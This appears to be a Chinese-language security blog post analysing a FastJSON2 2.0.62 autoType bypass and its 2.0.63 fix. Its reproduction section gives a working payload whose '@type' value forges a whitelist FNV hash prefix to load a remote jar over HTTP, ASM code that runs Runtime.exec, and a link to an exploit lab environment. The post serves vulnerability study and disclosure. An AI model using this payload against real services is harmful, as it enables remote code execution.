FastJson2.0.62绕过

1.2.84同一天发布的2.0.63也非常有意思,关于这个版本的绕过没有被收录到cve

image-20260819145649207

至于2.0.64,官方也申明这只是对一些bug的修改

1
https://github.com/alibaba/fastjson2/issues/7702

image-20260819150003106

漏洞最早被公布的时候是

2026-07-27 14:44 长亭安全应急响应中心微信公众号发布的

1
https://mp.weixin.qq.com/s/LJaul1jNjK9pXRAkoUiMEA

官方发布的Fastjson2.0.63公告也表示此漏洞的存在

1
2
https://github.com/alibaba/fastjson2/releases/tag/2.0.63
https://github.com/alibaba/fastjson2/pull/7703

一、Fastjson2系列

fastjson2系列算是直接把fastjson1系列推倒重做出来的一个新的库,最主要的就是对于性能上的优化,接着就是安全方面的优化

1.性能方面的提升

这一块不做细致研究一共就是以下俩方面

字段匹配方面

image-20260828191147930

缓存存储方面

  • fastjson1 输出缓冲是 char[],要出 byte[] 得再做一遍 UTF-8 编码——数据搬两趟。而实际场景(HTTP、Redis、RPC)要的都是 byte[]
  • fastjson2 直接写 byte[],而且 JDK9+ 的 String 内部本来就是 byte[],它用 Unsafe 把那个数组零拷贝掏出来,纯 ASCII 情况下一次 arraycopy 完事,编码工作量为零

2.安全方面的改动

Fastjson1系列对历次的绕过的修补最主要的是通过黑名单拦截,定义一个黑名单不断打补丁,一道道封锁恶意类,截止最新版本有 168 条黑名单哈希

其次就是通过checkAutoType 十几个分支修补,而且某些分支即使关了 autoType 也会先 loadClass——类一加载静态块就跑了,还没轮到检查

Fastjson2给出的答案是

  1. 默认关闭,没打开就 return null,根本不加载类
  2. 白名单命中后还要用原文再确认一次——哈希只是预筛,碰撞攻击失效
  3. 黑名单只剩两条,而且按类型判断

具体大概就是在checkAutoType函数上

image-20260828222024809

也就是这个骨架

822 checkAutoType(String typeName, Class<?> expectClass, long features)
823 ├─ typeName 为空 → return null
827 ├─ autoTypeBeforeHandler 命中 → return(用户钩子,最高优先级)
835 ├─ SAFE_MODE → return null
840 ├─ 类名长度 >= 192 → throw
847 ├─ hasIllegalTypeNameChars → return null
851 ├─ ‘[‘ 开头 → 递归检查组件类型
856 ├─ expectClass 名字完全相同 → return expectClass(不 loadClass)
861 │ autoTypeSupport = (features & SupportAutoType) != 0
868 ├─ if (autoTypeSupport) {白名单前缀扫描 → loadClass → deny 复查 → return} ← 第②③点
901 ├─ if (!autoTypeSupport) {白名单前缀扫描 → loadClass → deny 复查 → return} ← 第②③点
935 ├─ if (!autoTypeSupport) return null; ★ 第①点的闸门
939 ├─ TypeUtils.getMapping(typeName) 内置类型表
954 ├─ clazz = loadClass(typeName) ★ 唯一的”任意类”加载点
957 ├─ isAutoTypeDenyClass(clazz) → throw ★ 第③点
964 └─ expectClass.isAssignableFrom(clazz) 校验


autoTypeSupport参数一般默认为false,所以,如果白名单没检测到之后,就直接返回null,不在加载类

image-20260828223016009

白名单检测这一块很有意思

fastjson在2026年7月29日发布的 fastjson2 2.0.63才把这个完善好

原来的版本逻辑如下

image-20260828224313050

完善的逻辑就是加入一个原文检测的逻辑

1
2
3
4
5
6
7
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {          // ① 快速预筛
if (!acceptNameSet.contains(normalizeAcceptName(typeName.substring(0, i + 1)))) {
continue; // ② 原文对不上 → 继续扫
}
clazz = loadClass(typeName); // ③ 确认通过才加载
...
}

① 增量哈希扫前缀,哈希不是一次性算完整类名,而是每读一个字符更新一次、每一步都查一次白名单,这样一次 O(n) 的扫描就同时检查了这个类名的所有前缀——com.、com.f、com.fo、com.foo.……直到完整类名

② 命中后必须用原文再确认一次, 这是这个防御的核心,typeName.substring(0, i + 1) 取出刚才那一步扫到的前缀原文,去 acceptNameSet 里查,只有这个 HashSet 的字符串相等判断通过了,才算真命中,否则 continue 继续往后扫(不是 return,是继续——万一后面还有更长的合法前缀)

攻击者构造出哈希碰撞,最多骗过 ①,到 ② 就死了——因为构造的类名原文不可能等于你配置的白名单原文,这也就是本次讲解绕过的核心

黑名单部分

image-20260828230302499

fastjson2整个黑名单就这两行,覆盖两个类型层级

image-20260828230339570

用一句话概括三者的关系:

第①点决定”要不要开门”,第②点决定”这个人有没有资格进”,第③点决定”就算有资格,带这种东西也不准进”

fastjson1 只有第③点,而且是拿着一张 168 张脸的通缉令在门口比对——没有闸门,没有身份确认,只有一张永远画不完的黑名单

3.入口方面

方法入口与名称没有变化

不同的是重构了反序列化逻辑

1
2
DefaultJSONParser parser = new DefaultJSONParser(input, config, featureValues);
T value = (T) parser.parseObject(clazz, null);

变为了

image-20260828194936918

整体的改动就是

image-20260828195102356

也就是说关于ParserConfig这个类,被肢解为

fastjson1 fastjson2 职责
ParserConfig.global JSONFactory.getDefaultObjectReaderProvider() 全局单例入口
ParserConfig 的 deserializers 表 ObjectReaderProvider 类型→ObjectReader 注册表
ParserConfig 的 features /dateFormat / classLoader JSONReader.Context 单次解析的配置
SerializeConfig,字节码读写不一致 ObjectWriterProvider + JSONWriter.Context 写侧完全对称

之前在Fastjson1中被疯狂绕过的checkAutoType逻辑被拆到了ObjectReaderProvider这个类中

1
ObjectReaderProvider.checkAutoType(String typeName, Class<?> expectClass, long features)

并且只有唯一一个调用点,这个和之前的不同

1
2
3
4
5
6
7
8
9
10
11
JSON.parseObject(text, User.class)
└─ objectReader.readObject(reader, ...)
└─ 读到 "@type" 这个 key
└─ ObjectReaderAdapter.autoType(jsonReader, expectClass, features) [:244]
├─ jsonReader.readTypeHashCode() ← 先算哈希,不建 String
├─ context.getObjectReaderAutoType(typeHash) ← 哈希命中缓存就直接返回,结束
└─ 缓存没命中,才 jsonReader.getString() 拿到真正的类名
└─ JSONReader.Context.getObjectReaderAutoType(typeName, ...) [:5691]
├─ autoTypeBeforeHandler.apply(...) ← 用户自定义钩子,优先级最高
└─ provider.getObjectReader(typeName, expectClass, features) [:788]
└─ ★ provider.checkAutoType(typeName, expectClass, features)

当传入一个@Type字串时,具体调用流程如下

1
2
String json = "{\"@type\":\"com.foo.Dog\",\"name\":\"旺财\",\"breed\":\"柴犬\"}";
Animal a = JSON.parseObject(json, Animal.class, JSONReader.Feature.SupportAutoType);

一共会进行这五步

image-20260828210043244

也就是这里

image-20260828213119370

具体到第五步的时候,就是整个Fastjson2重要的逻辑

这里objectReader走的是

com/alibaba/fastjson2/reader/ObjectReader2.java

readObject主要逻辑就是读取第一个字符之后的for循环,其中重要的provider.checkAutoType也在这里

image-20260828213735052

其中for循环中

image-20260828214507695

真正去加载类getObjectReaderAutoType函数逻辑

image-20260828214649596

默认读取字节流

image-20260828214952605

接着重要的就是checkAutoType函数

其中主要逻辑如下

image-20260828215137704

接着就是一路返回到

image-20260828215320514

二、绕过

1.复现

1
2
3
4
5
$body = '{"@type": "jar:http:..localhost:18181.x.\uBABF\u0A51\u0290\u4CD2!.probe.Marker", "x": 1}'
Invoke-RestMethod -Method Post `
-Uri 'http://127.0.0.1:18080/parse' `
-ContentType 'application/json' `
-Body $body | ConvertTo-Json -Compress
1
https://cdn.jsdelivr.net/gh/zc-18/chuanimages@main/img/202609011818411.zip

这个是我复现的环境,依旧是fatjar启动而不是启动类

环境方面如下

1
2
3
JDK 8u65
目标使用 fat-JAR
FastJSON 是 2.0.62 以及以下

靶机与恶意服务器环境启动后,向靶机发送payload即可复现

如果想要实现计算机的话,在对应位置加入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
initializer.visitMethodInsn(
Opcodes.INVOKESTATIC,
"java/lang/Runtime",
"getRuntime",
"()Ljava/lang/Runtime;",
false);

initializer.visitLdcInsn("calc.exe");

initializer.visitMethodInsn(
Opcodes.INVOKEVIRTUAL,
"java/lang/Runtime",
"exec",
"(Ljava/lang/String;)Ljava/lang/Process;",
false);

即可实现

image-20260901105055221

2.原理

其实绕过点很简单,重点利用了Fowler–Noll–Vo 哈希算法的漏洞

image-20260901200922134

Fastjson2中调用

1
JSON.parseObject(body, Object.class)

时,会一路走到

image-20260901201758076

其中这个重要函数中,进行检测的重要一部逻辑如下

image-20260901202518745

这个的逻辑时拿我们传入的类名去做增量 FNV然后和白名单做对比

同时,白名单部分在项目启动时有默认配置

ObjectReaderProvider

image-20260901204900894

同时这个类明文就是

1
com.alibaba.fastjson.util.AntiCollisionHashMap

然后,当我们的payload

1
jar:http:..localhost:18181.x.\uBABF\u0A51\u0290\u4CD2!.probe.Marker

走到这个白名单做增量检测的时候,具体逻辑如下

1
2
3
4
5
6
7
8
9
for (每个前缀字符) {
hash = 更新FNV(hash, ch);

if (acceptHashCodes 里存在这个 hash) {
Class<?> clazz = TypeUtils.loadClass(typeName); // 注意:这里传的是完整 typeName
...
return clazz;
}
}

所以,就特意构造出

1
jar:http:..localhost:18181.x.\uBABF\u0A51\u0290\u4CD2

这样的字符,他在FNV时,刚好命中默认

1
-6293031534589903644L

这个默认的硬编码

也就是实现了

前缀 hash 命中 accept

从而直接进行类加载

image-20260901211736601

至于这个字串怎么得来的,设计到FNV 逆向我也没搞清楚

接着就是类加载

1
clazz = loadClass(typeName);

此时,需要保证上下文类加载器为

1
LaunchedURLClassLoader

当前目标环境使用的是

image-20260902111440170

至于不同组合间,请求线程的默认上下文类加载器列表如下

image-20260902113131839

至于如果是内嵌的tomcat的话,如何实现绕过就是上一篇文章具体说明的了

总之,这一次的绕过就是

readTypeHashCode() 只是快路径查缓存;真正漏洞在 checkAutoType():用“前缀 FNV 命中”来决定是否信任,却把“完整typeName”交给 loadClass()
于是就能构造:前缀负责过 hash,后缀负责变成远程 jar: 资源路径

三、修复

2026-7-29 maven 发布修复包,对本次绕过做出修复,但是并无cve,理论上觉得还是影响范围不大吧

说到影响范围,fastjson2不像1系列那么开放吧,默认情况下的JSON.parseObject(body)方法就可以识别的@Type参数,并且进行类加载

Fastjson2中可以识别到@Type的多态实现形式如下

image-20260902115154860

修复部分实现的很简单

1
https://github.com/alibaba/fastjson2/compare/2.0.62...2.0.63

1.添加过滤条件

新增俩个过滤函数

  • TypeUtils.hasIllegalTypeNameChars
  • TypeUtils.normalizeAcceptName
1
2
3
4
5
6
7
8
9
public static boolean hasIllegalTypeNameChars(String typeName) {
return typeName.indexOf(':') >= 0 || typeName.indexOf('!') >= 0;
}
只要 typeName 里有 : 或 !,就判非法

public static String normalizeAcceptName(String typeName) {
return typeName.indexOf('$') >= 0 ? typeName.replace('$', '.') : typeName;
}
只是做替换

放置到了白名单判断前以及类加载前

image-20260902142836033

image-20260902143019356

2.做原文匹配

之前,是前缀匹配之后,直接通过做类加载,为了修复这一块问题,特意新增了 acceptNameSet

1
2
3
4
private volatile long[] acceptHashCodes;
变为
private volatile long[] acceptHashCodes;
private volatile Set<String> acceptNameSet = Collections.emptySet();

初始化 accept 列表时,不再只存 hash,也把规范化后的 accept 明文名存进 acceptNameSet

image-20260902143635109

也就是

  • hash 命中只是候选
  • 还要再核对实际前缀文本是否真的在 accept 白名单里

总的来说,fastjson2系列比较安全,也很少有出现过像fastjson1系列的cve漏洞

大体搜索过后,2系列甚至没有出现过cve,感觉2系列把1系列推到重做,这个想法还是蛮不错的!